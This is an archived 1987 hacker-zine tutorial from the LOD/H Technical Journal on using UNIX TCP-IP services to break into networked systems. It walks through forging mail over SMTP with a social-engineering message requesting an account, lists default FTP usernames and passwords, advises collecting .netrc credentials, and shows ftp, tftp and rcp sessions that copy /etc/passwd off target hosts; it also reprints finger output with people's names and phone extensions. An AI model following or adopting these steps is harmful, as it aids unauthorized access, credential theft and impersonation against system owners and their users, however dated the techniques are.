home *** CD-ROM | disk | FTP | other *** search
/ The Hacker's Encyclopedia 1998 / hackers_encyclopedia.iso / zines / a_m / lodhtj02.002 < prev    next >
Encoding:
Text File  |  2003-06-11  |  17.1 KB  |  476 lines

  1.  
  2. The LOD/H Technical Journal: File #2 of 10
  3.  
  4.  
  5. ----------------------------
  6.      The Networked UNIX
  7.           :TCP-IP
  8.   by:
  9.         SOLID STATE
  10.         June 23 1987
  11. ----------------------------
  12.  
  13. PREFACE
  14.  
  15.    I've written this article with the assumption that those reading it have a
  16. working knowledge of UNIX and large networks, specifically the DARPA Internet
  17. -- ARPAnet and MILnet. Within I offer guidance on features of the TCP-IP
  18. (Internet Transmission Control Protocol) architecture, such as FTP, TFTP,
  19. TELNET, SMTP, and the UNIX Remote Execution Facilities. Before I commence, I
  20. want to make it known that this file is not intended to be a 'why' file, but
  21. instead a 'how to' tutorial. In the event I get a good response concerning
  22. this document, I may later release a more technical oriented paper from a
  23. programmer's viewpoint.
  24.  
  25.    NOTE: Instances where I give examples of a command format, words in capital
  26. represent variables. For example, in the line '$ telnet HOST', HOST should be
  27. replaced (in LOWERCASE!) by the name of a system. This is just my means of
  28. distinguishing between actual commands and their options.
  29.    Control characters are denoted in the form of an exponent, eg. ^H is
  30. control H.
  31.  
  32. YP DATABASE
  33.  
  34.    Present on every UNIX that supports TCP-IP are a set of files labeled by
  35. programmers as the yellow pages, that serve as a directory of the hosts and
  36. networks accessible by your system. These files are /etc/hosts and
  37. /etc/networks respectively. There may also be a third, /etc/hosts.equiv which
  38. is a listing of those hosts that share resources and/or have users common to
  39. each other. They are ASCII text and have viewable permissions to all.
  40. Therefore it may prove helpful to print these out for reference and easy
  41. access. Entries in the above mentioned take the form:
  42.  
  43. ###.###.###.###     host.owner.research   nicknames
  44.  
  45. Example:
  46.  
  47. 18.72.0.39          athena.mit.edu   mit-athena athena
  48.  
  49.    The string of numbers, expressed in octal "dot notation", is the NetNumber
  50. of the host. Followed by the complete name, and lastly other names which it is
  51. universally known as. When attempting to access a system, any one of these
  52. identification codes may be used.
  53.    NOTE: Most of the databases one will come across are incomplete or may be
  54. outdated. A complete host list can be obtained from the Network Information
  55. Control Center (NIC) at SRI International, the host name is sri-nic.arpa
  56.  
  57. TELNET
  58.  
  59.    Telnet is the standard facility used for logging into other systems. It is
  60. found not only on UNIX, but TOPS, VMS, and all the other various operating
  61. systems found on the DDN. To activate the program:
  62.  
  63. % telnet HOST [PORT]
  64.  
  65.    If invoked without arguments, it enters command mode, indicated by the
  66. prompt 'telnet>' From here, many functions are available.
  67.  
  68. open HOST [PORT]
  69.    Open connection to named computer. If PORT, which shall be explained
  70. subsequently, is ommitted then telnet will contact the TELNET server of that
  71. host. As earlier mentioned, systems can be addressed by either their
  72. NetNumber, NetName, or a nickname.
  73.  
  74. close
  75.    Close connection and return to command mode.
  76.  
  77. quit
  78.    End session and exit program.
  79.  
  80. status
  81.    Show current status of telnet. ie. connections and toggled options.
  82.  
  83. z
  84.    Suspend telnet. This allows you to operate an interactive shell on the
  85. local machine while pending an open connection to a remote host.
  86.  
  87. ? COMMAND
  88.    Get help on COMMAND. Or if COMMAND is ommitted, then a summary of all
  89. options is printed.
  90.  
  91.    Once a connection has been established, telnet enters input mode where you
  92. can communicate directly with the remote. To return to command mode, enter ^]
  93. A hacking session might look like:
  94.  
  95. % telnet ucbvax.berkeley.edu
  96. Trying 10.2.0.78 ...
  97. Connected to ucbvax.berkeley.edu.
  98. Escape character is '^]'.
  99.  
  100. 4.3 BSD UNIX (ucbvax.Berkeley.EDU)
  101.  
  102. login: example
  103. Password: ^D
  104. Connection closed by foreign host.
  105. %
  106.  
  107. PORTS
  108.  
  109.    Each host on the Internet runs various daemons to perform tedious upkeep
  110. jobs like recording logs, mounting disks and on UNIX, cleaning uucp and /tmp
  111. files. Along with the 'normal' daemons is one ran to accomodate communication
  112. between a host and its peers on a network. inetd the managing daemon of system
  113. to system communication has a number of various services which it regularly
  114. uses, but they can also be manually addressed via telnet. The notation,
  115. predisplayed, is simply:
  116.  
  117. % telnet HOST PORT
  118.  
  119. OR
  120.  
  121. telnet> open HOST PORT
  122.  
  123.    Now each service has a port number associated with it. The number is
  124. decimal, in the range 0-1023. A database of all active services is located in
  125. the ASCII text file /etc/services
  126.    From a hacker's view the following are very helpful in the process of
  127. penetrating a system:
  128.  
  129. 79        Finger server. Connecting to this will give a systat report similar
  130. to one a user would get if he was on the target system and issued the finger
  131. command. Once connected to port 79, the host will sit idle until one of two
  132. things: Either a return is pressed and a general finger will result, or a
  133. username is entered where personal info will outcome.
  134.  
  135. % telnet psuvax1.psu.edu 79
  136. Trying 128.118.6.2 ...
  137. Connected to psuvax1.psu.edu.
  138. Escape character is '^]'.
  139.  
  140. Login       Name              TTY Idle    When            Office
  141. opr      The Operator          co      Sat 19:02  334  Whitmo  x5-9723
  142. hager    William W. Hager      d1      Sat 18:50              237-8876
  143. georg    Georg Schnitger       22 1:32 Sat 18:42  315  Whitmo  x5-1406
  144. malik    Sohail Malik          p0  18  Sat 19:16  214c  Compu  x5-0816
  145. Connection closed by foreign host.
  146. %
  147.  
  148. 11        Systat server. This can not be issued to target UNIX systems, but is
  149. applicable to VMS and TOPS where it returns data like that from finger.
  150.  
  151. 25        SMTP server. This is the server used for mail among systems. It is
  152. also the most vulnerable port to attack as it can be easily fooled. With this
  153. knowledge the hacker can assume any identity he wishes through mail. For
  154. example, to send mail to guest@cc3.bbn.com from root@satnet.arpa, under normal
  155. circumstances one would have to possess the root account wherefrom he would
  156. just enter:
  157.  
  158. % mail guest@cc3.bbn.com
  159.  
  160.    But this is not always feasible or possible! So we must resort to an
  161. indirect, devious approach..
  162.  
  163. % telnet cc3.bbn.com 25
  164. Trying 8.3.0.5 ...
  165. Connected to cc3.bbn.com.
  166. Escape character is '^]'.
  167.  
  168. 220 cc3.bbn.com. Sendmail 3.2/SMI-3.2 ready at Fri, 28 Feb 87 17:40:53 PST
  169.  
  170. rcpt to: guest
  171. 250 guest... Recipient ok
  172. mail from: root@satnet.arpa
  173. 250 example... Sender ok
  174. data
  175. 354 Enter mail, end with "." on a line by itself
  176.  
  177. This is an example of the SMTP port.
  178. .
  179. 250 Mail accepted
  180. ^]
  181. telnet> c
  182. Connection closed.
  183. %
  184.  
  185.    To summarize the text above; First, contact the remote at port 25 using
  186. telnet:
  187.  
  188. % telnet HOST 25
  189.  
  190.    After system link authentication, enter:
  191.  
  192. rcpt to: USERNAME
  193.  
  194.    Ok? Type in bogus identity:
  195.  
  196. mail from: USERNAME@HOST
  197.  
  198.    To start message:
  199.  
  200. data
  201.  
  202.    Now, the mail:
  203.  
  204.      My organization has of late been discussing an upgrade to a Vax
  205. processor. The Sun computer we are currently using is immensely slow (and
  206. getting slower!) due to the demands put on it by the users. If you would allow
  207. me a demo account on your system so I may view its performance, I would be
  208. deeply grateful.
  209.      Please respond to me through mail at: bogus!haha!sys1!jeff.
  210.  
  211.    A period on a line by itself will complete the transfer:
  212.  
  213. .
  214.  
  215. FTP
  216.  
  217.    FTP is a file transfer program that is quite powerful and helpful to the
  218. hacker in obtaining access to a target. It can be used to send and receive
  219. data. Similar to telnet, the client with which to communicate can be
  220. specified when invoked:
  221.  
  222. % ftp -n HOST
  223.  
  224.    The -n option I always include as it disables auto-login and net-trace, an
  225. auto-feature which sends the originator's login and system name. The prompt
  226. for FTP is 'ftp>'.
  227.  
  228. open HOST
  229.    Establish connection to the named HOST.
  230.  
  231. close
  232.    Terminate connection and return to command interpreter.
  233.  
  234. quit
  235.    Abort program.
  236.  
  237. status
  238.    Show status parameters.
  239.  
  240. ! COMMAND
  241.    Run shell command on local machine. Like the 'z' option of telnet, if
  242. COMMAND is ommitted, than an interactive shell is invoked. ^D will return user
  243. back to the interpreter.
  244.  
  245. ls
  246.    Print a listing of the directory contents on the remote host in an
  247. abbreviated form. To do a long listing, enter 'dir'.
  248.  
  249. cd REMOTE_DIRECTORY
  250.    Change the working directory on server.
  251.  
  252. pwd
  253.    Print working directory on remote.
  254.  
  255. lcd DIRECTORY
  256.    Change the working directory on the local machine to DIRECTORY.
  257.  
  258. get REMOTE_FILE LOCAL_FILE
  259.    Receive the REMOTE_FILE on the remote system and name it LOCAL_FILE on the
  260. local system.
  261.  
  262. send LOCAL_FILE REMOTE_FILE
  263.    Send LOCAL_FILE to the host and name it REMOTE_FILE.
  264.  
  265. append LOCAL_FILE REMOTE_FILE
  266.    Append LOCAL_FILE to the end of the distant file, REMOTE_FILE.
  267.  
  268. rename REMOTE_FILE NEW_REMOTE_FILE
  269.    Give a new name to a remote file.
  270.  
  271. delete REMOTE_FILE
  272.    Kill REMOTE_FILE.
  273.  
  274.    Various other commands exist for bulk transfers and directory management.
  275. If there is any doubt ever on a command, help is always available:
  276.  
  277. ftp> help COMMAND
  278.  
  279.    Once a connection has been made, the computer will identify itself and then
  280. go idle. (That is, if auto-logging is disabled as it should be.) To login to
  281. the system:
  282.  
  283. ftp> user USERNAME
  284.  
  285.    Then if a pass is required, the proper prompt will appear.
  286.  
  287. % ftp -n
  288. ftp> o ll-xn.arpa
  289. Connected to LL-XN.ARPA.
  290. 220 ll-xn FTP server (Version 4.103 Wed Jun 25 17:42:33 EDT 1986) ready.
  291. ftp> user anonymous
  292. 331 Guest login ok, send ident as password.
  293. Password:
  294. 230 Guest login ok, access restrictions apply.
  295. ftp>
  296.  
  297.    Logging on to a FTP server is different than normally entering a machine.
  298. When a remote user is operating FTP, the exchange is treated as a process of
  299. ftp or daemon, not an actual login. Therefore, a different login program,
  300. which restricts use immensely, is used.
  301.    If set up properly, FTP will chroot to /usr/spool/ftp where three
  302. directories exist, bin, etc, and pub. Within /usr/spool/ftp/etc is the
  303. password file used for the FTP server login program. It is not a complete
  304. version of that in /etc/passwd, but it can be useful by providing usenames.
  305.    Also of mentioning is /etc/ftpusers. This file contains multiple lines
  306. of usernames is like /usr/lib/cron/cron.deny on a Unix System V. If you are
  307. unlucky and your username appears in the file, FTP logins are denied.
  308.    A few defaults are present within this doctored version of /etc/passwd that
  309. most always will provide access to a system.
  310.  
  311. ACCOUNT                  PASSWORD
  312. =================================
  313. anonymous                anonymous, guest, ftp
  314. ftp                      ftp
  315. guest                    guest
  316. ftpser                   ftpser
  317. tftpser                  tftpser
  318. help                     help
  319.  
  320.    Each user may have in their home directory a file titled '.netrc'. This is
  321. a file containing usernames and passwords used on systems that a user commonly
  322. converses with. Entries in the file take the form:
  323.  
  324. machine HOST login USERNAME password PASSWORD
  325.  
  326.    It is advantageous to locate all of these files on your system as they will
  327. expand not only your systems list, but also your chance of entering a
  328. computer.
  329.    Once admittance has been gained, I suggest copying the /etc/passwd file for
  330. later attempts at hacking the front end of the system if other routes such as
  331. defaults, finger, TFTP (To be explained hereafter.), or by way of the remote
  332. facilities (Ditto.) are not possible.
  333.  
  334. ftp> get /etc/passwd pass
  335. 200 PORT command okay.
  336. 150 Opening data connection for /etc/passwd (26.8.0.14,1389) (47 bytes).
  337. 226 Transfer complete.
  338. 48 bytes received in 0.32 seconds (0.15 Kbytes/s)
  339. ftp> close
  340. 221 Goodbye.
  341. ftp> quit
  342. %
  343.  
  344.  
  345. TFTP
  346.  
  347.    The Trivial File Transfer Program is probably the most dangerous aspect of
  348. the TCP-IP structure on the Internet. TFTP requires no account or password be
  349. present on a host system. About the only restriction is that the files
  350. inquired must have public read access permissions set. If not, an
  351. authorization failure error will result. Also, the TFTP server port must be
  352. open, otherwise no transmissions can take place.
  353.  
  354. % tftp HOST
  355.  
  356.    Once connected, the user will get the 'tftp>' prompt where from he can grab
  357. or send files.
  358.  
  359. connect HOST
  360.    Set HOST up for transfers. There is no actual connection made in the sense
  361. that communication has happened, the program merely remembers what host to be
  362. used in a transfer inquiry. Therefore, there is not a disconnect command.
  363.  
  364. quit
  365.    Exit TFTP.
  366.  
  367. status
  368.    Show current set parameters. ie. HOST and timeout period.
  369.  
  370. get /PATH/FILE /PATH/FILE
  371.    Get /PATH/FILE from HOST and name it /PATH/FILE on local system. If no HOST
  372. has been specified yet, the form may be 'get HOST:/PATH/FILE /PATH/FILE'.
  373.  
  374. put /PATH/FILE /PATH/FILE
  375.    Send /PATH/FILE on local system to HOST and give it the title /PATH/FILE.
  376. As above, if HOST has not been specified, the form is 'put /PATH/FILE
  377. HOST:/PATH/FILE'.
  378.  
  379. timeout SECONDS
  380.    Set timeout parameter. The default is 25, that means abort transmission if
  381. no response from selected host after set period.
  382.  
  383. ? COMMAND
  384.    Help with TFTP.
  385.  
  386.    TFTP is the preferred method of file transfer. But is often closed to use
  387. due to its insecurities. To the hacker though, it is wonderful because data
  388. captured are genuine, not doctored versions as is the case with FTP. Therefore
  389. if possible, one will most likely use it to copy /etc/passwd:
  390.  
  391. % tftp mit-amt
  392. tftp> get /etc/passwd /tmp/passwd
  393. Received 16453 bytes in 7 seconds.
  394. tftp> q
  395. %
  396.  
  397. REMOTE PROCEDURES
  398.  
  399.    Additional to the standard features of the TCP setup present on all
  400. machines of the net, UNIX has a set of it's own remote system interaction
  401. commands. The set of utilities, which I affectionately call the Remote
  402. Execution Facilities, are usable only between resource sharing UNIX systems.
  403. The conglomeration of remote programs can be very helpful for overtaking other
  404. suspect targets, especially if they are part of a small network unto
  405. themselves besides being major hosts on the Internet.
  406.    Before one sets out on the quest of conquering a system, it is wise to know
  407. who is currently logged on:
  408.  
  409. % rusers -l HOST
  410.  
  411.    Rusers -l alone will print out a listing for all immediate surrounding UNIX
  412. hosts, but if a HOST is specified, only that particular computer will report.
  413.  
  414. % rlogin HOST -l USERNAME
  415.  
  416.    If -l USERNAME is not included, the account name in use at present time
  417. will be used as the USERNAME when attempting login to HOST. If the username
  418. specified is present locally and on the distant machine in the file
  419. /etc/hosts.equiv, no password is required to login. This can be compromising
  420. to the security, a reason why the security wise will often make
  421. /etc/hosts.equiv a null file.
  422.    Each user may optionally have a file, '.rhost', in his home directory. This
  423. is a personal equivalent to /etc/hosts.equiv. If you are logged into an
  424. account with such a file, no pass is required to login (via rlogin), to the
  425. computers named.
  426.    Alike to the UUCP protocol, there is an allowance of the Remote Execution
  427. Facilities to preform commands on a networked system:
  428.  
  429. % rsh HOST -l USERNAME "COMMAND"
  430.  
  431.    Remote shell will permit unlimited commands to be carried out on the remote
  432. as long as the following criteria is met:
  433.      The username, if specified (If it is not, the current local one is
  434. used.), must be present on the foreign system and have remote execution
  435. privileges.
  436.      Commands are effective according to the environment set in .cshrc and
  437. .login on the host.
  438.    An example job:
  439.  
  440. % rsh century "ps -t console"
  441.  
  442.    If the quotes are ommitted then variables like *?.,\ are taken literally.
  443. Also, if no redirection is submitted, than output, if the command yields it,
  444. is sent back to the issuee.
  445.    Remote Copy, a sub-command of rsh, is a command similar to uucp. It must
  446. follow the criteria of Remote Shell plus all files qued must have public read
  447. permissions.
  448.  
  449. % rcp HOST:/PATH/FILE HOST:/PATH/FILE
  450.  
  451.    For example, a common call would be the password file. So if I wanted to
  452. transfer the /etc/passwd file from harvard.arpa to rutgers:
  453.  
  454. % rcp harvard.arpa:/etc/passwd rutgers:/tmp/passwd
  455.  
  456.    This format leaves quite alot of flexibility as it stands third party
  457. transfers are possible. If the second HOST is not inserted, than the file is
  458. put on the local system.
  459.    A notable option of rcp is directory copy. It will if specified, copy a
  460. directory and all the trees beneath it...allowing you to in theory to copy the
  461. entire file system onto your local host. (uh, oh!)
  462.  
  463. % rcp -d HOST:/PATH/DIRECTORY_NAME HOST:/PATH/DIRECTORY_NAME
  464.  
  465. CONCLUSION
  466.  
  467.    In closing I would like to state that I have purposely left much
  468. information uncovered if I felt it would compromise an institution or company.
  469. I apoligize for not explaining many of the subjects discussed in the full
  470. detail they deserve, but if I had this article would have been mammoth.
  471.    Any questions, challenges, comments, or criticism can be directed to me,
  472. Solid State, through any of a various boards I visit or to an LOD/H Technical
  473. Journal account of which your mail shall be somehow communicated to me.
  474. Sys Unix Comm
  475. 
  476.